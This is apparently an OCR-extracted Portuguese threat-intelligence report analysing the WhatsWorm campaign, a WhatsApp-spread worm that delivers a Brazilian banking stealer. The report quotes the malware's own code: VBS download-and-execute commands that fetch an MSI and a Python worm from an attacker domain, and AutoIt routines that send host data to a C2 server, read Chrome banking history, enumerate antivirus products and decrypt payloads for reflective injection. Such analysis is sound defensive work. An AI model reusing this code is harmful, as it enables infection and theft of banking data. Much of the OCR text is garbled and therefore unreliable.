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RESET_IMPACTOS E DETECGAD DA
CVE-2023-44487

Falhas de negagdo de servigo (DoS) nao
sao apenas interrupgoes técnicas. Elas
representam riscos reals & continuidade do
negocio, & confianga dos clientes & &
reputagao da marca. Nisto temos a
vulnerabilidade CVE-2023-44487,
conhecida como HTTP/2 Rapid Reset.
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ALERTA HEIMDALL! BABUK2 EM 2025:
RETORNO LEGITIMO OU COPYCAT
ESTRATEGICO

0 cendrio de ransomware manteve-se
ativo em 2024 e se estendeu para este ano
de 2025, com diversos grupos realizando
atagques a uma ampla gama de
organizagoes, setores e com surgimento
de novos grupos. Nesse contexto, temos o
ransomware Babuk2.
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ALERTA HEIMDALL! A ANATOMIA DD
RANSOMWARE AKIRA E SUA
EXPANSAD MULTIPLATAFORMA

0 cendrio de ransomware manteve-se
ativo em 2024 e se estendeu para este ano
de 2025, com diversos grupes realizando
ataques a uma ampla gama de
organizagoes, setores e ganhande
bastante popularidade. Messe contexto,
temos o ransomware Akira.
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INTRODUCAO A CAMPANHA WHATSWORM

Neste segundo semestre, os atores brasileiros descobriram que o aplicativo de
mensagem instantdnea mais utilizado pela populacao brasileira, pode ser um
excelente vetor de ameaca cibernética. A campanha do Marverick deu inicio a esta
possibilidade, e o Heimdall Security Research da ISH Tecnologia em conjunto com
sua equipe de Resposta a Incidentes e Forense Digital, detectaram e analisaram a
campanha que chamamos de WhatsWorm.

A campanha do WhatsWorm tem o mesmo vetor de acesso inicial
anteriormente utilizado na campanha do Marverick, porém, estruturalmente
diferente, utilizando um novo malware desenvolvido em Python que dda nome a esta
campanha, o WhatsWorm.

Esta campanha consiste na entrega de um arquivo .zip malicioso, contendo um
conjunto de decoys para ludibriar a vitima a executar uma cadeia de infecgao, que
ao fim, implementara o Banking InfoStealer Eternidade Stealer e 0 WhatsWorm no
sistema infectado, roubando dados do sistema da vitima e sua lista de contatos,
no qual sera utilizado no processo de disseminacao da campanha.

A UITIMA rECEDE UMA MENSAQEM

[al=] , conTendo
um ArQUIUO , COm ArTEFATOS
MALICIDSOS

O ArQUIUO conTem os
ArQUIUOS NECESSArIOS PArA
° por meIo LUDIbrIAr A UITIMA A INICIAC

dA IMPLEMENTACAO JE AUTOMACAO UMA CAOEIA OE INFECCAOD,

dISSIMINA-SE JE MANEIrA AUTONOMA INICIAOD pOr MEID O UM

por MeEIo A LISTA JE CONTATOS OA

UITIMA
i E! o TAMDEM CONFIQUrA

O AMBIENTE JA UITIMA
€ IMPLEMENTAr O
. QUE roubArA
SUA LISTA OE CONTATOS
€ SE JISSEMINArA O
MANEIrA AUTONOMA

AD SEr EHECUTAJO, O
rEALI2A 0 downLoAd do

—

0 .MSI INSTALA UM QuUE CArregA

um ., QUE roubA dRdos dA e —_‘
UITIMA, JESCrIPTOQrAFA € EHECUTA .

0 um segundo QUE IMPLEMENTA s -_—

uUm POSSIUEL do

Figura 1 - Cadeia de Infec¢do do WhatsWorm

hei‘mdq‘ltl Pagina 7|41

ty r




heimdall

security research

ANALISE DA PRIMEIRA FASE DA CAMPANHA
WHATSWORM

O artefato .vbs malicioso presente no .zip entregue as vitimas, é o que da o
inicio a cadeia de infeccao desta campanha. Ele é recebido por meio de mensagem
instantdnea, de um dispositivo que ja foi infectado anteriormente pelo
WhatsWorm.

Este artefato é o primeiro estagio, e tem o objetivo de realizar o download de
dois artefatos que serao utilizados em fases posteriores, com propdsitos diferentes
na cadeia de infecgcao. Outro objetivo do primeiro estagio preparar o ambiente no
sistema infectado para a execugao correta destes artefatos.

O primeiro artefato que o primeiro estagio realiza o download é um arquivo .msi
identificado como installer.msi, criando um diretério no C:\temp para armazena-
lo.

===== RANDOMIZAR URL DO M5I =====
arrfsiUrls = Array( _
"https://empautlipa.com/altor/installer.msi”,
"https://empautlipa.com/altor/installer.msi”,
"https://empautlipa.com/altor/installer.msi”,
"https://empautlipa.com/altor/installer.msi”

Gera nimero aleatdrio entre @ e 3
Randomize
randomIndex = Int(({UBound(arrMsiUrls) + 1) * Rnd)
striMsiUrl = arrMsiUrls{randomIndex)

Cria a pasta C:\temp se ndo existir
If Not objFSO.FolderkExists("C:\temp™) Then
0bjFS0.CreateFolder("C: \temp”)
End If

Figura 2 - Defini¢do de URL para Download do MSI e Criagéo de Diretdrio

O primeiro estagio utiliza o PowerShell para realizar o download via
WebRequest, e armazena o MSI como instalador.msi dentro do diretdrio criado
anteriormente, executando-o por meio do msiexec.exe. Apds concluir estas agoes,
o primeiro estagio realiza a exclusao do instalador.msi, com o objetivo de dificultar
a aquisicao das amostras para investigacdes mais aprofundadas.

objFile.WriteLine "rem ===== BAIXAR E INSTALAR MSI ====="
objFile.WriteLine "powershell -Command ""Invoke-WebRequest '™ & strMsiUrl & "' -OutFile instalador.
msi™™™

objFile.WriteLine "start /wait msiexec.exe /i instalador.msi /gn /norestart”
objFile.WriteLine “del instalador.msi”

Figura 3 - Download, Execugdo e ExclusGo do MSI

Apds o download e execucao da fase anterior (sem a checagem se foi bem-
sucedida), o primeiro estagio realiza a configuracdo de um ambiente de
desenvolvimento Python no dispositivo da vitima, com o objetivo de preparar o
sistema para a execucao do WhatsWorm. O primeiro estagio realiza o download do
Python, descomprime e exclui o python.zip.

O
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objFile.Writeline "rem ===== PYTHON ====="

objFile.WriteLine "if not exist python.exe ("

objFile.WritelLine " powershell -Command ""Invoke-WebRequest 'https://www.python.org/ftp/python/3.12.7/
python-3.12.7-embed-amd64.zip' -OutFile python.zip™""

objFile.WriteLine " powershell -Command "“Expand-Archive python.zip . -Force™""

objFile.WritelLine " del python.zip™

Figura 4 - Download do Python

Por fim, o primeiro estagio realiza o download e a instalacdo do
chromedriver.exe, que sera utilizado pelo Whats\Worm posteriormente, utilizando
novamente o PowerShell.

objFile.WriteLine "rem ===== CHROMEDRIVER ====="

objFile.WritelLine "if not exist chromedriver.exe ("

objFile.WriteLine " powershell -Command ""$chromePath = Get-ItemProperty

'HKLM: Y\ SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe' -ErrorAction SilentlyContinue;
if(!$chromePath){$chromePath = Get-ItemProperty

"HKLM: \SOFTWARE \WOW6432Node\Microsoft \Windows\CurrentVersion\App Paths\chrome.exe" -ErrorAction
SilentlyContinue}; if($chromePath){$version = (Get-Item $chromePath.’(Default)’).VersionInfo.
FileVersion; $majorVersion = $version.Split(".")[8]; $jsonUrl = 'https://googlechromelabs.github.io/
chrome-for-testing/known-good-versions-with-downloads.json’; $json = Invoke-WebRequest $jsonUrl |
ConvertFrom-Json; $chromeVersions = $json.versions | Where-Object {$ .version -like ($majorVersion +
".*¥")1; $latestVersion = $chromeVersions[-1]; $driverUrl = $latestVersion.downloads.chromedriver |
Where-Object {$ .platform -eq 'winé4'} | Select-Object -ExpandProperty url -First 1; if(!$driverUrl)
{$driverUrl = "https://storage.googleapis.com/chrome-for-testing-public/136.8.6723.93/win64/
chromedriver-winé4.zip'}; Invoke-WebRequest $driverUrl -OutFile driver.zip}else{Invoke-WebRequest
‘https://storage.googleapis.com/chrome-for-testing-public/138.8.6723.93/win64/chromedriver-wingd.zip'
-OutFile driver.zip}™""

objFile.WritelLine " powershell -Command ""Expand-Archive driver.zip temp -Force™""

objFile.WriteLine " move temp\chromedriver-winé4\chromedriver.exe .
objFile_WriteLine " rmdir /s /q temp”

objFile.WriteLine " del driver.zip”

objFile.WriteLine ™)"

Figura 5 - Download do chromedriver.exe

Por fim o primeiro estagio realiza o download do gerenciador de pacotes do
Python, por meio do script get-pip.py, e instala os pré-requisitos necessarios
(essenciais para o funcionamento correto do worm, como o selenium e webdriver-
manager) para o WhatsWorm, realizando em sequéncia o seu download e
executando-o.

objFile.WriteLine ™"

objFile.WriteLine “powershell -Command ""Invoke-WebRequest “https://bootstrap.pypa.io/get-pip.py’
-OutFile get-pip.py™"™"

objFile.WriteLine "python.exe get-pip.py >nul 2>&1"

objFile.WriteLine ™"

objFile.WriteLine "python.exe -m pip install setuptools wheel pywin32 »>nul 2:&1"

objFile.WriteLine "python.exe -m pip install requests Pillow numpy opencv-python >nul 2>&1"
objFile.WriteLine "python.exe -m pip install pyautogui keyboard mouse pygetwindow »>nul 2>&1"
objFile.WriteLine "python.exe -m pip install pytesseract selenium packaging webdriver-manager >nul 2>&
1"

objFile.WriteLine ™"

objFile.WriteLine "powershell -Command ""Invoke-WebRegquest "https://empautlipa.com/altor/vbiud.py”
-OutFile whats.py™™"

objFile.WriteLine ™"

objFile.WriteLine "timeout /t 2 /nobreak >nul”

objFile.WriteLine "start """" /b pythonw.exe whats.py”

objFile.WriteLine "exit”

objFile.Close

Figura 6 - Download e Execugdo do WhatsWorm
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ANALISE DO SEGUNDO ESTAGIO DA CAMPANHA DO
WHATSWORM

O artefato MSI obtido pelo primeiro estagio, se trata de um instalador que tem
como objetivo principal, a instalagao e execucdo da proxima fase da cadeia de
infecgcdo. Durante a sua execucdao, o artefato .msi realizara a extragao de diversas
amostras no diretério criado, identificado como S2DSystemX.S52D.95064424.
8972.258.

File Component_  FileName FileSize Versi... Langu... Attribu... Seque...
Component_1 E5IXB.dmp 512

512
512

512

y32. 0238 - 512
MSFviE.tda 512
skdd.dl 512
512

[FE R L R—

Wi b

-1 o

Figura 7 - Arquivos Contidos no Artefato MSI|

Ao extrair estes arquivos, o artefato .msi executa um dos artefatos extraidos,
identificado como kjar.vbs, por meio do wscript.exe.

Source

Afterlnstall 250 IMSTALLFOLDER

Figura 8 - Execugdo do kjar.vbs

O kjar.vbs funciona como o carregador do terceiro estagio da cadeia de
infec¢éo, o artefato jFqyDSPp.exe que recebe o X7F7ghfl.log como argumento para
sua execugao.

extracted_installer.msi > ™ kajr.vbs
1 Set WshShell = CreateObject("WScript.Shell™)
WshShell.CurrentDirectory = “C:\Public\52DSystemX.52D.95864424.8972.258"
WshShell .Run "jFqyD5Pp.exe X7F7ghfl.log™, ©, False
Set WshShell = Mothing

Figura 9 - Execugdo do Terceiro Estdgio da Cadeia de Infecgdo

O
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ANALISE DO TERCEIRO ESTAGIO DA CAMPANHA DO
WHATSWORM

Este terceiro estagio, consiste no jFqyDSPp.exe, um interpretador AutolT
responsavel por executar o script presente no arquivo X7F7qghfl.log, o verdadeiro
terceiro estagio, no qual se trata de um Banking Information Stealer e loader do
quarto estagio (Eternidade Stealer), que o carregara apos descriptografa-lo e
descomprimi-lo. O script AutolT ira e executa-lo em memadaria, por meio da técnica
de Reflective DLL Injection.

As similaridades entre os vetores de acesso inicial e implementacao de Trojans
Bancarios, apenas nos confirma o fato de que o ecossistema de cibercriminosos
contém uma base de cdédigo e de Taticas, Técnicas e Procedimentos (TTPs)
distribuidas, dificultando compreender o verdadeiro ator por tras das campanhas,
e permitindo uma evolugao de codigo, de TTPs e de geragcdes de novas familias ao
longo do tempo, no cenario brasileiro. Nesta campanha, a cadeia de infecgao ¢é
bastante similar a que ja observamos sendo executada pelo Astaroth.

Mas, cada ator apesar de compartilhar objetivos, possuem toolkits que 0s
diferem em um efeito domind, permitindo identificar diferentes campanhas,
analisando os detalhes. Abaixo é possivel observar o fluxo padrdo da cadeia de
execucao deste desta fase.

[=] € UM INTErpreTAJOr
dE SCrIpTs AUTOIT, QUE EHECUTA O
SCrIPT AUTOIT PrESENTE NO ArTEFATO

ESTE SCripTt descriTograrFA
por meEIo de um ALQOriTmo cusTomI2Ado,
E JEsSCOmprime por MeEIo do ALgQOriTmo

0s dois bLocos de dAdos EXHTrAICOOS
PELO ArTEFATO .MSI, IJENTIFICAJOS COMO
(=

AO0 JESCrIPTOgrAFA-LOS
0O SCrIpT CAMrFEgR-0S EM MEMOrIA
pOr MEI0 A TECNICA OE INJECAO

Figura 10 — Cadeia de Execugdo do JFQYDSPP.EXE
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Analisando em detalhes o script AutolT, é possivel notar que ha trés principais
objetivos em sua execucéo:

e Coletar informacdes do host da vitima para envia-los para um servidor que
faz parte da infraestrutura do ator, identificado no cdédigo como
hxxps[:]//013net[.com][.]br/ jasmin/receptor|.]php;

e Coletar informagdes de histéricos de possiveis bancos brasileiros
acessados por meio do browser e informacgdes referentes a softwares de
bancos e de protecao de endpoint, instalados no host da vitima;

e Descriptografar e descomprimir (por meio do algoritmo de LZNT1) os dois
maddulos finais em memadria, por meio da técnica Reflective DLL Injection.

Abaixo € possivel observar a declaragcdo de um dos servidores de C&C, que tem
0 objetivo de receber informacoes do host da vitima, além do script escrever um
arquivo de log contendo informagdes da primeira execugao no sistema infectado.

GLOBAL CONST $URL_NOTIFICACAO = "https://@13net.com.br/jasmin/receptor.php”
GLOBAL CONST $ARQUIVO MARCADOR = @SCRIPTDIR & "\executed.dat”

FUNC VERIFICARPRIMEIRAEXECUCAOD ( )

IF NOT FILEEXISTS ( $ARQUIVO_MARCADOR ) THEN
ENVIARNOTIFICACAOPRIMEIRAEXECUCAD ( )

FILEWRITE ( $ARQUIVO_MARCADOR , @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC )
ENDIF
ENDFUNC T

Figura 11 - Declaragdo de C&C e Escrita de Log de Execugdo

FUNC ENVIARNOTIFICACAOPRIMEIRAEXECUCAD ( )

LOCAL $V7CFCADF414C8 = @COMPUTERNAME

LOCAL $VEB1DO20B = @OSVERSION & " " & @OSARCH & " (Build ™ & @OSBUILD & ™)™
LOCAL $VB2AEFFB@BBAF = @USERNAME

LOCAL $V695192E6BRAC = OBTERIPLOCAL ( )

LOCAL $VADC3DC3448 = OBTERIPEXTERNO ( )

LOCAL $VAICOSE9A — @YEAR & "-" & GMON & "-" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC
LOCAL $V@56B23846DE = DETECTARANTIVIRUS ( )

LOCAL $VB2FD@91BS986 = OBTERINFOADICIONAL ( )

LOCAL $V2D6AD3D6 = VERIFICARBANCOS { )

LOCAL $VD65A26D38CA2 = "nome_pc=" & $V7CFCADF414C8

$VD65A26D38CA2 &= "&sistema operacional=" & $VES1DB26B

$VD65A26D30CA2 &= "&usuario=" & §VB2AEFFBOOSAF

$VD65A26D38CA2 &= "&ip local=" & $V695192E6BOAC

$VD65A26D30CA2 &= "&ip externo=" & $VADC3DC344@

$VD65A26D38CA2 &= "&data_hora=" & $VALCESESA

$VD65A26D30CA2 &= "&antivirus=" & $VBS56B23846DE

$VD65A26D38CA2 &= "&info_adicional=" & $VB2FDE91B9936

$VD6SA26D3BCA2 &= "&bancos_detectados=" & $V2D6AD3D6

LOCAL $V3P@BF3E3A778 = OBJCREATE ( "WinHttp.WinHttpRequest.5.1" )

IF @ERROR THEN RETURN FALSE

$V3088F3E3A778.0pen ( "POST" , $URL_NOTIFICACAO , FALSE )

IF @ERROR THEN RETURN FALSE

$V3888F3E3A778.5etRequestHeader ( "Content-Type" , "application/x-www-form-urlencoded” )
$V3080F3E3A778.5end ( $VD65A26D3BCA2 )

RETURN TRUE

ENDFUNC

Figura 12 - Coleta de Informagdo do Host e Envio para o C&C

O

heimdall

Pagina 12|41

ity arch




heimdall

security research

Também foi identificado a capacidade do script AutolT identificar possiveis
aplicativos de bancos instalados no sistema infectado, como o:

e PBradesco;
e Moddulos de Seguranca do Aplicativo do Banco do Brasil Warsaw e

Topaz;
e Sijcoob;
e |tad.

FUNC DETECTARBANCO ( )

LOCAL $VCDBD2EC252 = "Nenhum”

LOCAL $VOEF82EAF = ™"

IF FILEEXISTS ( "C:\Program Files (x86)\scpbrad” ) THEN
$VBEFB2EAF &= “"Bradesco, "

ENDIF

IF FILEEXISTS ( "C:\Program Files\Warsaw" ) THEN
$VOEF82EAF & “BB/CEF (Warsaw), "

ENDIF

IF FILEEXISTS ( "C:\Program Files\Topaz OFD" ) THEN
$VOEFS2EAF &= "BB/CEF (Topaz), "

ENDIF

IF FILEEXISTS ( “"C:\Sicoobnet™ ) THEN

$VBEFB2EAF &= "Sicoob, "

ENDIF

LOCAL $Ve57BS5F249F5 = @USERNAME

IF FILEEXISTS ( "C:\Users\" & $VB57B5F249F5 & "\AppData‘\Local\Aplicativo Itau” ) THEN
$VOEFS2EAF &= “Itad, "

ENDIF

LOCAL $HISTORYCHROME = VERIFICARHISTORICOCHROME ( )
IF $HISTORYCHROME <> "™ THEN

$VBEF82EAF &= $HISTORYCHROME

ENDIF

IF STRINGRIGHT ( $VOEF82EAF , 517 ) = ", " THEN
$VBEF82EAF = STRINGTRIMRIGHT ( $VBEFS82EAF , 517 )
ENDIF

IF $VBEFS82EAF <> "" THEN

$VCDBD2EC252 = $VOEFS2EAF

ENDIF

RETURN $VCD@D2EC252

ENDFUNC

FUNC VERIFICARHISTORICOCHROME ( )

LOCAL $VBSF8AE15852 = ""

LOCAL $VO57B5F249F5 = @USERNAME

LOCAL $VB8284CCB6112C = "C:\Users\" & $VBS7BSF249F5 & "\AppData\local\Google\Chrome\User Data‘\Default\History"

IF NOT FILEEXISTS ( $VB284CCe6112C ) THEN
RETURN ™"

Figura 13 - Identificagdo de Aplicativos de Bancos no Host Infectado
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Também identificamos o acesso ao histérico do navegador Chrome, com o
objetivo de identificar acessos aos seguintes Internet Bankings:

e www.santander.com.br;

e autoatendimento.bb.com.br;
e internetbanking.caixa.gov.br;
e sicredi.com.br;

e banco.bradesco;

FUNC VERIFICARHISTORICOCHROME ( )

LOCAL $VBSFBAE15852 = ""

LOCAL $V@57BSF249F5 = @USERNAME

LOCAL $Ve284CCO6112C = "C:\Users\" & $VB57B5F249F5 & "\AppData\lLocal\Google\Chrome\User Data\Default\History"
IF NOT FILEEXISTS ( $V8284CC06112C ) THEN

RETURN "™

ENDIF

LOCAL $TEMPHISTORY = @TEMPDIR & "\chrome_history_temp.db”
FILECOPY ( $ve284CCe6112C , $TEMPHISTORY , 261 )

LOCAL $HFILE = FILEOPEN ( $TEMPHISTORY , 5 )

IF $HFILE = + 4294967845 THEN

RETURN "*

ENDIF

LOCAL $V880A487F6D = FILEREAD ( $HFILE )

FILECLOSE ( $HFILE )

FILEDELETE ( $TEMPHISTORY )

IF STRINGINSTR ( $V82@A487F6D , "www.santander.com.br” ) THEN
$VB5FBAE15852 &= “"Santander, "

ENDIF

IF STRINGINSTR ( $V888A487F6D , "autoatendimento.bb.com.br” ) THEN
IF NOT STRINGINSTR ( $VBSF8AE15852 , "BB" ) THEN
$VBSFSAE15852 &= "BB, "

ENDIF

ENDIF

IF STRINGINSTR ( $V888A487F6D , "internetbanking.caixa.gov.br” ) THEN
$VBSFBAE153852 &= “"CEF, "

ENDIF

IF STRINGINSTR ( $V886A487F6D , "www.sicredi.com.br™ ) THEN
$VBSFBAE15852 &= "Sicredi, "

ENDIF

IF STRINGINSTR ( $v82@A487F6D , "banco.bradesco™ ) THEN

IF NOT STRINGINSTR ( $VBSF8AE15852 , “Bradesco™ ) THEN
$VBSFSAE15852 &= "Bradesco, "

ENDIF

ENDIF

RETURN $VBSFSAE15852

ENDFUNC

Figura 14 - Identificacdo de Acesso a Internet Bankings da Vitima

Com o objetivo de identificar se estd em um ambiente de teste, o script AutolT
checa a conexdo e o endereco IPv4 Local e Publico do host infectado, por meio da
aplicagdo api.ipify.org.

FUNC OBTERIPEXTERNO ( )

LOCAL $V3@PBF3E3A778 = OBICREATE ( "WinHttp.WinHttpRequest.5.1" )
IF @ERROR THEN RETURN "Indisponivel”

$V3P@OF3E3A778.0pen ( "GET" , "https://api.ipify.org” , FALSE )
$V3B@OF3E3A778.Send ( )

IF @ERROR THEN RETURN "Indisponivel”

RETURN $V3B@BF3E3A778.ResponseText

ENDFUNC

FUNC OBTERIPLOCAL { )
LOCAL $V7A7BBBO98 = @IPADDRESS1

IF $V7A7BOBOYS = "9.8.0.8" OR $V/A7BOBEYO
IF $V7A7BOBOYS = "9.8.0.8" OR $VJA7BEBE9S = "" THEN $V7A7B@BE9S = @IPADDRESS3

IF $V7A7BOBOOG = "0.8.0.8" OR $V7A7BEBE9S = "" THEN $V7A7B@BE9S - @IPADDRESS4

IF $V7A7BOBOOS = "0.8.0.0" OR $V/A7BEBE9S = "" THEN $V7A7B0BE9S = "Indisponivel”
RETURN $V7A7BOEE98

ENDFUNC

" THEN $V7A7B8BO98 = @IPADDRESS2

Figura 15 - Checagem de Enderego IPv4
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O script AutolT, também identifica possiveis softwares de protecado de
endpoint.

FUNC DETECTARANTIVIRUS ( )

LOCAL $Vves6B23846DE = "Ndo detectado”
LOCAL $V8E4588549 = "
LOCAL $VED4DES51387 = OBJIGET ( "winmgmts:\\.\root\SecurityCenter2" )

IF ISOBJ ( $VEDADES551387 ) THEN

LOCAL $V6D1F1996CD = $VEDADES51387.ExecQuery ( "SELECT * FROM AntiVirusProduct” )
IF ISOB] ( $veD1F1996CD ) THEN

FOR $V2FED4DBE IN $V6D1F1996CD

IF $VBEAS@8549 <> "" THEN $VSE4508549 &= ", "

$VBE4A508549 &= $V2FBD4DB6.displayName

LOCAL $VEES3ES948 = $V2FBD4De6.productState

LOCAL $VEB9787F97 = ""

IF BITAND ( $VEES3E5948 , 1848581 ) THEN

$VEBO787F97 = " (Ativo)"

ELSE

$VEB9787F97 = " (Inativo)”

ENDIF

$VBE4A5088549 &= $VEB9T787F97

NEXT

ENDIF

LOCAL $V798CAF7DFBB8 = $VED4DES51387.ExecQuery ( "SELECT * FROM FirewallProduct™ )
IF ISOB] ( $V79BCAF7DFBBE ) THEN

FOR $V2FED4DBE IN $V798CAF7DFEBE2

IF $VBEAS@8549 <> "" THEN $VSE4508549 &= ", "

$VBE4508549 &= "Firewall: " & $V2FBD4D@6.displayName

NEXT

ENDIF

LOCAL $V9318C6523DE3 = $VEDADESS51387.ExecQuery ( "SELECT * FROM AntiSpywareProduct™ )
IF ISOBJ ( $V9318C6523DE3 ) THEN

FOR $V2FED4DBE IN $V9318C6523DE3

IF $VBEA588549 (> "" THEN $VBEA588549 &= ", "

$VBE4588549 &= "AntiSpyware: " & $V2FBD4DO6.displayName

NEXT

ENDIF

ENDIF

Figura 16 - Checagem de Informagdes de Softwares de Protecdo a Endpoint

O script contém uma lista hardcoded de bindrios de softwares de protecéo a
endpoint, que irdo ser identificados por meio de um loop.

LOCAL $VE3767D598 [ ] [ 1 = [ [ "avgui.exe™ , "AVG" ] , [ "avguix.exe" , "AVG" ] , [ "avgnt.exe” , "Avira" ] , [ "avast.

exe" , "Avast" ] , [ "AvastSvc.exe” , "Avast" ] , [ "AvastUI.exe" , "Avast" ] , [ "aswidsagent.exe" , "Awast" ] , [ "ashDisp.
exe” , "Avast” ] , [ "MSASCui.exe" , "Windows Defender” ] , [ "MSASCuil.exe" , "Windows Defender” ] , [ "MsMpEng.exe" ,
"Windows Defender” ] , [ "NisSrv.exe" , "Windows Defender” ] , [ "SecurityHealthSystray.exe" , "Windows Defender” ] , [
"mcshield.exe” , "McAfee™ ] , [ "mcuicnt.exe” , "McAfee” ] , [ "Mcshield.exe" , "McAfee™ ] , [ "ekrn.exe" , "ESET" ] , [
"egui.exe” , "ESET" ] , [ "eguiProxy.exe" , "ESET" ] , [ "bdagent.exe" , "Bitdefender" ] , [ "vsserv.exe" , "Bitdefender” ] ,
[ "seccenter.exe” , "Bitdefender” ] , [ "ns.exe” , "Norton™ ] , [ "ccSvcHst.exe” , "Norton/Symantec” ] , [ "ccapp.exe” ,
"Norton” ] , [ "SAVADMINSERVICE.EXE" , "Sophos" ] , [ "SophosUI.exe” , "Sophos"” ] , [ "SAWService.exe" , "Sophos" ] , [
"kavtray.exe" , "Kaspersky" ] , [ "avp.exe” , "Kaspersky" ] , [ "avpul.exe" , "Kaspersky” ] , [ "klwtblfs.exe" ,

"Kaspersky” ] , [ "mbam.exe" , "Malwarebytes™ ] , [ "mbamtray.exe" , "Malwarebytes" ] , [ "MBAMService.exe" ,

"Malwarebytes” ] , [ "fshoster32.exe" , "F-Secure” ] , [ "WRSA.exe” , "Webroot” ] , [ "vkise.exe" , "Comodo™ ] , [ "cfp

exe” , "Comodo” ] , [ "cmdagent.exe" , "Comodo” ] , [ "PSUAMain.exe™ , "Panda" ] , [ "PSANHost.exe" , "Panda" ] , [ "36@sd.
exe” , "360 Total Security” ] , [ "368tray.exe" , "36@ Total Security” ] , [ "ZAPrivacyService.exe" , "ZoneAlarm" ] , [
"zatray.exe" , "ZoneAlarm” ] ]

Figura 17 - Lista de Software de Protegdo de Endpoint
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Apds as checagens, o script inicia o processo de descriptografia por meio de
um algoritmo customizado baseado em operacgdes légicas (XOR, AND, SHIFT), e
descompressao do proximo estagio extraidos e salvos no mesmo diretdério pelo
.msi.

FUNC DESCRIPTOGRAFARDADOS ( $V39E2D842FD54 , $VBA17FS8414BSE = 853253 , $VBO73A205F5 = 870189 , $V6GSAS58701 = 2560805 )
LOCAL $ITAMANHO = BINARYLEN { $V39E2D842FD54 )
LOCAL $V2A4C16C6D = DLLCALL { "kernel32.d11" ,
LOCAL $PENTRADA = $V2AAC16C6D [ 5 ]
$V2A4C16C60 = DLLCALL ( “kernel32.d1l™ , "ptr” , "GlobalAlloc” , "uwint™ , $GPTR , “"ulong_ptr" , $ITAMANHO )

LOCAL $PSAIDA = $V2AAC16CED [ 5 ]

LOCAL $TENTRADA = DLLSTRUCTCREATE ( "byte[” & $ITAMANHO & "]1" , $PENTRADA )

DLLSTRUCTSETDATA { $TENTRADA , 261 , $V3OE2D242FD54 )

LOCAL $TSAIDA = DLLSTRUCTCREATE ( "byte[" & $ITAMANHO & "]" , $PSAIDA )

FOR $VBES7E714363 = 5 TO $ITAMANHO + 4294967845

LOCAL $VOAC148AB12 = DLLSTRUCTGETDATA ( $TENTRADA , 261 , $VB657E714363 + 261 )

LOCAL $V2C958E3BBS = BITSHIFT ( $V65A858701 , 2053 )

LOCAL $VO4BD71FA = BITXOR ( $VEAC148AB12 , BITAND ( $V2C950E3BB5 , 65285 ) )

DLLSTRUCTSETDATA { $TSAIDA , 261 , $V94BD71FA , $VB657E714363 + 261 )

$V65AB58781 = BITAND ( ( BITAND ( ( $V94BD71FA + $V65AB858781 ) , 65285 ) * $VBA17F8414B5E + $VBO73A285F5 ) , 16776965 )
NEXT

LOCAL $VCDEB3B53BA = DLLSTRUCTGETDATA ( $TSAIDA , 261 )

DLLCALL { "kernel32.d11" , “ptr” , “GlobalFree" , "ptr" , $PENTRADA )

DLLCALL ( "kernel32.d11" , "ptr" , "GlobalFree" , “"ptr" , $PSAIDA )

RETURN $VCDEB3BS3BA

ENDFUNC

ptr” , "GlobalAlloc™ , "wint™ , $GPTR , "ulong_ptr" , $ITAMANHO )

Figura 18 - Descriptografia de Payload

Abaixo, é possivel observar o algoritmo de descompresséo, no qual € similar
ao algoritmo LZNT1, que é executado apods a descriptografia. Portanto, o proximo
estagio presente em dois arquivos extraidos pelo .msi estdo protegidos por duas
camadas de ofuscacgao, criptografia somada a compresséao.

FUNC DESCOMPRIMIRDADOS { $VSADA1B564E )

LOCAL $ITAMANHOESPACOTRABALHO = 5

LOCAL $ITAMANHOFRAGMENTO = 5

LOCAL $VEBDD763D = DLLCALL ( $HNTDLL , "uwint” , "RtlGetCompressionWorkSpaceSize" , "uint” , 517 , “uint*" ,
$ITAMANHOESPACOTRABALHO , "uint*" , $ITAMANHOFRAGMENTO )

IF @ERROR OR $VEBDD763D [ 5 ] <> 5 THEN RETURN $VS4DA18564E

$ITAMANHOESPACOTRABALHO = $VEBDD763D [ 517 ]

$ITAMANHOFRAGMENTO = $VEBDD763D [ 773 ]

LOCAL $v284C16C6D = DLLCALL ( "kernel32.d11" , "ptr" , "GlobalAlloc™ , "uint" , $GPTR , “ulong_ptr" ,
$ITAMANHOESPACOTRABALHO )

LOCAL $PESPACOTRABALHO = $V2A4C16C6D [ 5 ]

LOCAL $ITAMANHODESCOMPRIMIDO = BINARYLEN ( $VS4DA18564E ) * 517

$V2A4C16C6D = DLLCALL ( “kernel32.d11” , "ptr” , “GlobalAlloc™ , “"wint” , $GPTR , “"ulong_ptr” , $ITAMANHODESCOMPRIMIDO )
LOCAL $PDESCOMPRIMIDO = $V2A4C16C6D [ 5 ]

LOCAL $TCOMPRIMIDO = DLLSTRUCTCREATE ( "byte[" & BINARYLEN ( $VS4DA18564E ) & "]" )

DLLSTRUCTSETDATA ( $TCOMPRIMIDO , 261 , $W54DA18564E )

LOCAL $VCO87E61A1 = 5

$VEBDD763D = DLLCALL ( $HNTDLL , "uint" , "RtlDecompressFragment™ , "uint" , 517 , "ptr" , $PDESCOMPRIMIDO , "uint” ,
$ITAMANHODESCOMPRIMIDO , “ptr” , DLLSTRUCTGETPTR ( $TCOMPRIMIDO ) , "uint™ , BINARYLEN ( $V54DA18564E ) , "uint™ , 5 ,
"uint*" , $VCI9B7E61Al , “ptr" , $PESPACOTRABALHO )

LOCAL $VCDEE3B53BA = $VSADA18564E

IF NOT @ERROR AND $VEBDD763D [ 5 ] = 5 THEN

$VC987E61AL = $VEBDD763D [ 1797 ]

LOCAL $TSAIDA = DLLSTRUCTCREATE ( "byte[" & $VCOS7E61A1 & "] , $PDESCOMPRIMIDO )

$VCDE@3B53BA = DLLSTRUCTGETDATA ( $TSAIDA , 261 )

ENDIF

DLLCALL { "kernel32.dll”™ , "ptr" , "GlobalFree" , "ptr" , $PESPACOTRABALHO )
DLLCALL ( "kernel32.d11" , "ptr” , “GlobalFree" , "ptr™ , $PDESCOMPRIMIDO )
RETURN $VCDEBG3B53BA

Figura 19 - Algoritmo de Descompresséo
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Ao desofuscar por completo os artefatos que compde o proximo estagio, o
script AutolT iré carrega-los em memoria apoés identificar janelas de bancos, por
meio da técnica de Reflective DLL Injection, implementando seu préoprio Windows
Loader, para evitar deteccao de softwares de protecdo de endpoints.

FUNC CARREGARPENAMEMORTIA ( $V1617FA46841 )

LOCAL $ITAMANHOPE = BINARYLEN ( $V1617FA46841 )

